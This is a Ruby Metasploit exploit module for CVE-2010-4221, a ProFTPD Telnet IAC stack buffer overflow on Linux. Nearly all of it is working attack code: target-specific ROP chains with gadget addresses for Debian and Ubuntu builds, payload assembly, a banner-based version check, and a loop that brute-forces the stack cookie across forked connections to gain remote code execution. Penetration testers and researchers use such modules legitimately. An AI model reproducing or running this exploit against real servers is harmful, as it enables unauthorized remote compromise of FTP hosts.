##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  #include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in versions of ProFTPD
        server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
        large number of Telnet IAC commands, an attacker can corrupt memory and
        execute arbitrary code.

        The Debian Squeeze version of the exploit uses a little ROP stub to indirectly
        transfer the flow of execution to a pool buffer (the cmd_rec "res" in
        "pr_cmd_read").

        The Ubuntu version uses a ROP stager to mmap RWX memory, copy a small stub
        to it, and execute the stub. The stub then copies the remainder of the payload
        in and executes it.

        NOTE: Most Linux distributions either do not ship a vulnerable version of
        ProFTPD, or they ship a version compiled with stack smashing protection.

        Although SSP significantly reduces the probability of a single attempt
        succeeding, it will not prevent exploitation. Since the daemon forks in a
        default configuration, the cookie value will remain the same despite
        some attemtps failing. By making repeated requests, an attacker can eventually
        guess the cookie value and exploit the vulnerability.

        The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
        and could allow exploitation in semi-reasonable amount of time.
      },
      'Author'         => [ 'jduck' ],
      'References'     =>
        [
          ['CVE', '2010-4221'],
          ['OSVDB', '68985'],
          ['BID', '44562']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'PrependChrootBreak' => true
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 4096,
          # NOTE: \xff are avoided here so we can control the number of them being sent.
          'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",
          'DisableNops'	=>  'True',
        },
      'Platform'       => [ 'linux' ],
      'Targets'        =>
      [
        #
        # Automatic targeting via fingerprinting
        #
        [ 'Automatic Targeting', { 'auto' => true }  ],

        #
        # This special one comes first since we dont want its index changing.
        #
        [	'Debug',
          {
            'IACCount' => 8192, # should cause crash writing off end of stack
            'Offset' => 0,
            'Ret' => 0x41414242,
            'Writable' => 0x43434545
          }
        ],

        #
        # specific targets
        #

        # NOTE: this minimal rop works most of the time, but it can fail
        # if the proftpd pool memory is in a different order for whatever reason...
        [ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
          {
            'IACCount' => 4096+16,
            'Offset' => 0x102c-4,
            # NOTE: All addresses are from the proftpd binary
            'Ret' => 0x805a547, # pop esi / pop ebp / ret
            'Writable' => 0x80e81a0, # .data
            'RopStack' =>
              [
                # Writable is here
                0xcccccccc, # unused
                0x805a544,  # mov eax,esi / pop ebx / pop esi / pop ebp / ret
                0xcccccccc, # becomes ebx
                0xcccccccc, # becomes esi
                0xcccccccc, # becomes ebp
                # quadruple deref the res pointer :)
                0x8068886,  # mov eax,[eax] / ret
                0x8068886,  # mov eax,[eax] / ret
                0x8068886,  # mov eax,[eax] / ret
                0x8068886,  # mov eax,[eax] / ret
                # skip the pool chunk header
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                0x805bd8e,  # inc eax / adc cl, cl / ret
                # execute the data :)
                0x0805c26c, # jmp eax
              ],
          }
        ],

        # For the version compiled with symbols :)
        [ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
          {
            'IACCount' => 4096+16,
            'Offset' => 0x1028-4,
            # NOTE: All addresses are from the proftpd binary
            'Writable' => 0x80ec570, # .data
            'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
            'RopStack' =>
              [
                # Writable is here
                #0x0808162a, # jmp esp (works w/esp fixup)
                0xcccccccc, # unused becomes ebp
                0x80d78c2,  # mov eax,esi / pop esi / pop ebp / ret
                0xcccccccc, # unused becomes esi
                0xcccccccc, # unused becomes ebp
                # quadruple deref the res pointer :)
                0x806a915,  # mov eax,[eax] / pop ebp / ret
                0xcccccccc, # unused becomes ebp
                0x806a915,  # mov eax,[eax] / pop ebp / ret
                0xcccccccc, # unused becomes ebp
                0x806a915,  # mov eax,[eax] / pop ebp / ret
                0xcccccccc, # unused becomes ebp
                0x806a915,  # mov eax,[eax] / pop ebp / ret
                0xcccccccc, # unused becomes ebp
                # skip the pool chunk header
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                0x805d6a9,  # inc eax / adc cl, cl / ret
                # execute the data :)
                0x08058de6, # jmp eax
              ],
          }
        ],

        [ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',
          {
            'IACCount' => 1018,
            'Offset' => 0x420,
            'CookieOffset' => -0x20,
            'Writable' => 0x80db3a0, # becomes esi (beginning of .data)
            'Ret' => 0x805389b,  # pop esi / pop ebp / ret
            'RopStack' =>
              [
                0xcccccccc, # becomes ebp

                0x8080f04,  # pop eax / ret
                0x80db330,  # becomes eax (GOT of mmap64)

                0x806a716,  # mov eax, [eax] / ret
                0x805dd5c,  # jmp eax
                0x80607b2,  # add esp, 0x24 / pop ebx / pop ebp / ret
                # mmap args
                0, 0x20000, 0x7, 0x22, 0xffffffff, 0,
                0, # unused
                0xcccccccc, # unused
                0xcccccccc, # unused
                0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx
                0xcccccccc, # becomes ebp

                # note, ebx gets fixed above :)
                # 0xfe in 'ah' doesn't matter since we have more than enough space.
                # now, load an instruction to store to eax
                0x808b542,  # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret
                # becomes edx - mov [eax+ebp*4]; ebx / ret
                "\x89\x1c\xa8\xc3".unpack('V').first,

                # store it :)
                0x805c2d0,  # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret
                0xcccccccc, # unused
                0xcccccccc, # unused
                0xcccccccc, # unused
                0xcccccccc, # unused
                0xcccccccc, # becomes ebx
                0xcccccccc, # becomes esi
                0xcccccccc, # becomes ebp

                # Copy the following stub:
                #"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]
                #"\x8d\x78\x12"  # lea edi, [eax+0x12]
                #"\x6a\x7f"   # push 0x7f
                #"\x59"	    # pop ecx
                #"\xf2\xa5"   # rep movsd

                0x80607b5,  # pop ebx / pop ebp / ret
                0xfb2124b4, # becomes ebx
                1, # becomes ebp
                0x805dd5c,  # jmp eax

                0x80607b5,  # pop ebx / pop ebp / ret
                0x788dffff, # becomes ebx
                2, # becomes ebp
                0x805dd5c,  # jmp eax

                0x80607b5,  # pop ebx / pop ebp / ret
                0x597f6a12, # becomes ebx
                3, # becomes ebp
                0x805dd5c,  # jmp eax

                0x80607b5,  # pop ebx / pop ebp / ret
                0x9090a5f2, # becomes ebx
                4, # becomes ebp
                0x805dd5c,  # jmp eax

                0x80607b5,  # pop ebx / pop ebp / ret
                0x8d909090, # becomes ebx
                0, # becomes ebp
                0x805dd5c,  # jmp eax

                # hopefully we dont get here
                0xcccccccc,
              ],
          }
        ]

      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 1 2010'))

    register_options(
      [
        Opt::RPORT(21),
      ])
  end


  def check
    # NOTE: We don't care if the login failed here...
    ret = connect
    banner = sock.get_once || ''

    # We just want the banner to check against our targets..
    vprint_status("FTP Banner: #{banner.strip}")

    status = CheckCode::Safe
    if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
      ver = $1
      maj,min,rel = ver.split('.')
      relv = rel.slice!(0,1)
      case relv
      when '2'
        if rel.length > 0
          if rel[0,2] == 'rc'
            if rel[2,rel.length].to_i >= 3
              status = CheckCode::Appears
            end
          else
            status = CheckCode::Appears
          end
        end
      when '3'
        # 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
        status = CheckCode::Appears
        if rel.length > 0
          if rel[0,2] != 'rc' and rel[0,1] > 'b'
            status = CheckCode::Safe
          end
        end
      end
    end

    disconnect
    return status
  end


  def exploit
    connect
    banner = sock.get_once || ''

    # Use a copy of the target
    mytarget = target

    if (target['auto'])
      mytarget = nil

      print_status("Automatically detecting the target...")
      if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
        print_status("FTP Banner: #{banner.strip}")
        version = m[1]
      else
        fail_with(Failure::NoTarget, "No matching target")
      end

      regexp = Regexp.escape(version)
      self.targets.each do |t|
        if (t.name =~ /#{regexp}/) then
          mytarget = t
          break
        end
      end

      if (not mytarget)
        fail_with(Failure::NoTarget, "No matching target")
      end

      print_status("Selected Target: #{mytarget.name}")
    else
      print_status("Trying target #{mytarget.name}...")
      if banner
        print_status("FTP Banner: #{banner.strip}")
      end
    end

    #puts "attach and press any key"; bleh = $stdin.gets

    buf = ''
    buf << 'SITE '

    #buf << "\xcc"
    if mytarget['CookieOffset']
      buf << "\x8d\xa0\xfc\xdf\xff\xff"  # lea esp, [eax-0x2004]
    end
    buf << payload.encoded

    # The number of characters left must be odd at this point.
    buf << rand_text(1) if (buf.length % 2) == 0
    buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)

    buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)

    addrs = [
      mytarget['Ret'],
      mytarget['Writable']
    ].pack('V*')

    if mytarget['RopStack']
      addrs << mytarget['RopStack'].map { |e|
        if e == 0xcccccccc
          rand_text(4).unpack('V').first
        else
          e
        end
      }.pack('V*')
    end

    # Make sure we didn't introduce instability
    addr_badchars = "\x09\x0a\x0b\x0c\x20"
    if idx = Rex::Text.badchar_index(addrs, addr_badchars)
      fail_with(Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
    end

    buf << addrs
    buf << "\r\n"


    #
    # In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it
    # doesn't change while proftpd forks children. Therefore, we can try forever
    # and eventually guess it correctly.
    #
    # NOTE: if the cookie contains one of our bad characters, we're SOL.
    #
    if mytarget['CookieOffset']
      print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")

      disconnect

      max = 0xffffff00
      off = mytarget['Offset'] + mytarget['CookieOffset']

      cookie = last_cookie = 0
      #cookie = 0x17ccd600

      start = Time.now
      last = start - 10

      while not session_created?
        now = Time.now
        if (now - last) >= 10
          perc = (cookie * 100) / max
          qps = ((cookie - last_cookie) >> 8) / 10.0
          print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])
          last = now
          last_cookie = cookie
        end

        sd = connect(false)
        sd.get_once
        buf[off, 4] = [cookie].pack('V')
        sd.put(buf)
        disconnect(sd)

        cookie += 0x100
        break if cookie > max
      end

      if not session_created?
        fail_with(Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
      end
    else
      sock.put(buf)
      disconnect
    end

    handler
  end

end
